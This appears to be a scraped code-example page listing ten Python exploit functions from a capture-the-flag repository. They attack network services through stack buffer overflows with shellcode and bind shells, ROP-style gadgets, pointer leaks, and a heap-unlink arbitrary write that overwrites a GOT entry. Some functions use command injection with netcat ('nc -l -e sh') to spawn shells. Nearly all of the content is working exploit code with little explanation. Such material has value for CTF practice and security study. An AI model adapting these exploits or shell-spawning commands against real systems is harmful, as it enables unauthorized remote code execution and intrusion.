コード例 #1
0
ファイル: ex_ti.py プロジェクト: notclu/ctf
def main():
    s = ctf.connect(HOST,PORT)

    padded_shellcode = shellcode + ('\x90' * (8-(len(shellcode)%8)))
    double_shellcode = buf_to_double(padded_shellcode)
    double_shellcode = [str(c) for c in double_shellcode]

    # This will work fine for small numbers (ie < 4 Bytes)
    shellcode_location = struct.unpack('d', struct.pack('Q',number_stack_data_start))[0]
    shellcode_location = str(shellcode_location)

    # Write the shellcode into the number_stack
    for double in double_shellcode:
        if double:
            ctf.send(s, double + '\n')

    # Back up to the base
    ctf.send(s, 'c\n')
    ctf.recv(s)

    # Back up to send in the plt
    for i in range(0, qwords_to_send):
        ctf.send(s, 'b\n')
        ctf.recv(s)

    # Write the address of the shellcode
    ctf.send(s, shellcode_location + '\n')

    # Send a bad opcode to trigger send()
    ctf.send(s, 'm\n')

    s.close()

    ctf.shell(HOST, shell_port)
コード例 #2
0
ファイル: ex_200.py プロジェクト: notclu/ctf
def main_1stage():
    s = ctf.connect(HOST,PORT)

    # Password?
    ctf.recv(s)
    ctf.send(s, '\n') # Doesn't matter

    ctf.recv(s)
    
    # Payload
    ctf.send(s, bind_shellcode)
    ctf.send(s, 'A' * (0x208-len(bind_shellcode)))
    ctf.send(s, 'B' * 4)
    ctf.send(s, jump_esp_gadget)
    
    shell_code_offset = 0x208 + 4 + 4
    
    
    ''' sub esp, X = 81 EC XX XX XX XX '''
    sub_stack_asm = '\x81\xEC' + struct.pack('I', shell_code_offset)
    ctf.send(s, sub_stack_asm)
    ctf.send(s, '\xFF\xE4') # jmp esp

    ctf.send(s, '\n')
    
    ctf.shell(HOST, shell_port)
コード例 #3
0
ファイル: ex_shiftd.py プロジェクト: notclu/ctf
def main():
    s = ctf.connect(HOST,PORT)

    # password
    ctf.send(s, 'NowIsTheWinterOfOurDiscountTent\n')

    ctf.recv(s)

    ctf.send(s, '\n')

    diff_to_buff=1088
    welcome_string = ctf.recv(s)
    
    ptr_raw = welcome_string[9:15] + '\x00' * 2
    leaked_ptr = struct.unpack('Q', ptr_raw)[0]

    our_buf = leaked_ptr-diff_to_buff
    print('leaked_ptr = %X' % leaked_ptr)
    print('buf @ 0x%X' % our_buf)

    ctf.send(s, shellcode)
    ctf.send(s, 'A' * (0x420-len(shellcode)), dump=False)
    ctf.send(s, 'B' * 8)
    ctf.send(s, struct.pack('Q', our_buf))
    ctf.send(s,'\n')
    ctf.recv(s)

    ctf.shell(HOST, shell_port)

    s.close()
コード例 #4
0
ファイル: ex_100.py プロジェクト: notclu/ctf
def main():
    s = ctf.connect(HOST, PORT)

    # Password prompt
    ctf.recv(s)
    ctf.send(s, PASSWORD + '\n')

    # Wait for a prompt
    while '>' not in ctf.recv(s):
        pass

    '''
    1: Display Memory Information
    2: Display CPU Information
    3: Display Disk Information
    4: Display Processes
    5: Display Log
    6: Erase Log
    7: Ping
    8: Who is online
    9: Update Firmware
    10: Quit
    '''

    ctf.send(s, '7\n')

    # Which addr
    ctf.recv(s)

    ctf.send(s, '$(nc -l -e sh)\n')

    for i in range(1000,65536):
        if i != 3030:
            ctf.shell(HOST,i, tries=1, verbose=False)
コード例 #5
0
ファイル: ex_babyfirst_heap.py プロジェクト: notclu/ctf
def main():
    s = ctf.connect(HOST,PORT)

    recv_data = ''
    while True:
        data = ctf.recv(s, 1024, dump=False)

        if not data:
            break
        else:
            recv_data += data

            if 'Write' in data:
                break

    allocs = get_allocations(recv_data)

    # We always write into allocation 10
    offset_to_next_header = allocs[11] - allocs[10] - 8
    print('Offset to next header = %d' % offset_to_next_header)

    # The heap layout looks like
    # ptr-8: Previous Chunk Size
    # ptr-4: Chunk Size (bit 0 is set if the previous chunk is used)
    # ptr-0: Data
    #
    # The heap implemention always adds 4 Byte to the size
    # and aligns to the next 8 Byte boundry
    # alloc_size = ((size+4)&0xfffffffe)+8
    #
    # After freeing the heap implementation will keep old blocks for reuse
    # The header changes to:
    # ptr-8: Previous Chunk Size
    # ptr-4: Chunk Size
    # ptr-0: Pointer to free list (forward)
    # ptr+4: Pointer to free list (back)
    # ptr+8: Old data is not cleaned up here (SHELLCODE goes here)

    # We can get an arbitrary 4 Byte write by setting the forward and backward
    # pointers in the header. See
    # .text:080493F6                 mov     [eax+8], edx    ;  *(next->forward + 8) = next->bk
    payload = struct.pack('I', 0x0804C004-8) #eax (got entry for printf)
    payload += struct.pack('I', allocs[10]+8) # edx (shellcode location)
    payload += '\x90' * 100
    payload += exec_shell
    payload += '\x90' * (offset_to_next_header-len(payload))
    # Overwrite the sizes in the next header will small number with bit 0=0
    # The low bit must be 0 to trigger free chunk merging
    payload += struct.pack('I', 100)

    ctf.send(s, payload + '\n')

    # Now the app will free the allocated blocks triggering the arbitrary write
    # during block merging

    ctf.recv(s)
コード例 #6
0
ファイル: ex_back2skool.py プロジェクト: notclu/ctf
def main():
    s = ctf.connect(HOST,PORT)

    while 'exit' not in ctf.recv(s, dump=False):
        pass

    arr = string_to_int_array("nc -l -p %d -e/bin/sh " % shell_port)
    print(arr)

    val_base = 0x0804C040
    for num in arr:
        write_addr(s, val_base, num)
        val_base = val_base + 4

    libc_main = read_addr(s, 0x0804BF9C)
    offset_to_system = 0x237c0
    system_addr = libc_main + offset_to_system

    print('libc_main @ 0x%X' % libc_main)
    print('offset = %X' % offset_to_system)
    print('system @ 0x%X' % system_addr)

    execute(s, system_addr)

    ctf.shell(HOST, shell_port)
コード例 #7
0
ファイル: ex_back2skool.py プロジェクト: notclu/ctf
def read_addr(s, addr):
    base = 0x0804C040

    # word align this to the previous word
    aligned_addr = addr - (addr % 0x4)

    diff_in_words = (aligned_addr-base)/4

    ctf.send(s,'read\n')
    ctf.recv(s)
    ctf.send(s, str(diff_in_words) + '\n')
    val_string = ctf.recv(s)
    value = int(re.search(': (-?\d+)', val_string).group(1))

    value = int(tohex(value, 32),16)

    return value
コード例 #8
0
ファイル: ex_100.py プロジェクト: notclu/ctf
def main():
    s = ctf.connect("localhost", 1994)

    # Welcome MSG
    ctf.recv(s, dump=False)
    # prompt
    ctf.recv(s, dump=False)

    ctf.send(s, "png2ascii\n")

    # png2ascii cmd msg
    ctf.recv(s, dump=False)

    # The input buffer is 256 Bytes long

    # Stack layout looks like
    #    buf : 256 Bytes
    #    saved fp: 4 Bytes
    #    ret addr: 4 Bytes

    buf_len = 260
    ctf.send(s, "A" * buf_len)

    # Just somewhere in the data segment to stuff our shellcode
    #    data_loc = 0x10000000
    data_loc = 0x10009894
    exec_loc = data_loc + 4

    read_gadget(s, 5, data_loc, len(shellcode), data_loc)
    ctf.send(s, "\n")
    ctf.send(s, struct.pack("I", exec_loc) + shellcode)
コード例 #9
0
ファイル: ex_back2skool.py プロジェクト: notclu/ctf
def write_addr(s, addr, val):
    base = 0x0804C040

    # word align this to the previous word
    aligned_addr = addr - (addr % 0x4)

    diff_in_words = (aligned_addr-base)/4

    # The high bits get shifted off during the *4 multiply
    # Set the high bit so this looks like a negative number
    if (diff_in_words > 9):
        diff_in_words = -(2**31) + diff_in_words

    ctf.send(s,'write\n')
    ctf.recv(s)
    ctf.send(s, str(diff_in_words) + '\n')
    ctf.recv(s)

    if val > 2**31:
        val = val - 2**31
        val = -(2**31) + val

    ctf.send(s, str(val) + '\n')
    ctf.recv(s)
コード例 #10
0
ファイル: ex_200.py プロジェクト: notclu/ctf
def main_2stage():
    s = ctf.connect(HOST,PORT)

    # Password?
    ctf.recv(s)
    ctf.send(s, '\n') # Doesn't matter

    ctf.recv(s)
    
    # Payload
    ctf.send(s, 'A' * 0x208) # Buf
    ctf.send(s, 'B' * 4) # Saved ebp

    ctf.send(s, return_gadget * 4) # Move the sp up
    ctf.send(s, send_gadget)
    ctf.send(s, '\xDE\xAD\xD0\x0D') # just let this process die, we got what we came for
    ctf.send(s, struct.pack('I', 5)) # fd
    # A stack addr is going to be here
    # Then some size (don't care)
    # Then some flags (dont'care)
    ctf.send(s, '\n')    

    # Useless output from program
    ctf.recv(s)

    # Lets see what's on the stack
    stack_data = ctf.recv(s, recv_len=4096)

    # Nice we can see the part of the stack we've been working on

    # Pull out the address of what we just leaked
    chunks = ctf.chunks(stack_data, 4, adv=2)
    for c in chunks:
        if c == '\xDE\xAD\xD0\x0D':
            # adv the generator to the addr
            next(chunks)
            next(chunks)
            next(chunks)
            break


    leaked_addr = struct.unpack('I', next(chunks))[0]
    print("Got addr %X" % leaked_addr)

    bottom_of_original_frame = leaked_addr + 0x1e
    top_of_original_frame = bottom_of_original_frame - 0x150

    print("Bottom of original frame = %X" % bottom_of_original_frame)
    print("Top of original frame = %X" % top_of_original_frame)


    s.close() # This process has probably already died by now

    # Alright lets get some shellcode onto the stack and pop this
    s = ctf.connect(HOST,PORT)

    # Password?
    ctf.recv(s)
    ctf.send(s, '\n') # Doesn't matter

    ctf.recv(s)
    
    # Payload
    nop_sled_size=256 + 128
    
    ctf.send(s, '\x90' * nop_sled_size)
    ctf.send(s, bind_shellcode)
    ctf.send(s, 'A' * (0x208-len(bind_shellcode)-nop_sled_size))
    ctf.send(s, 'B' * 4) # Saved ebp
    ctf.send(s, struct.pack('I', top_of_original_frame)) # Thank you fork!
    ctf.send(s, '\n')
    ctf.shell(HOST, 31337)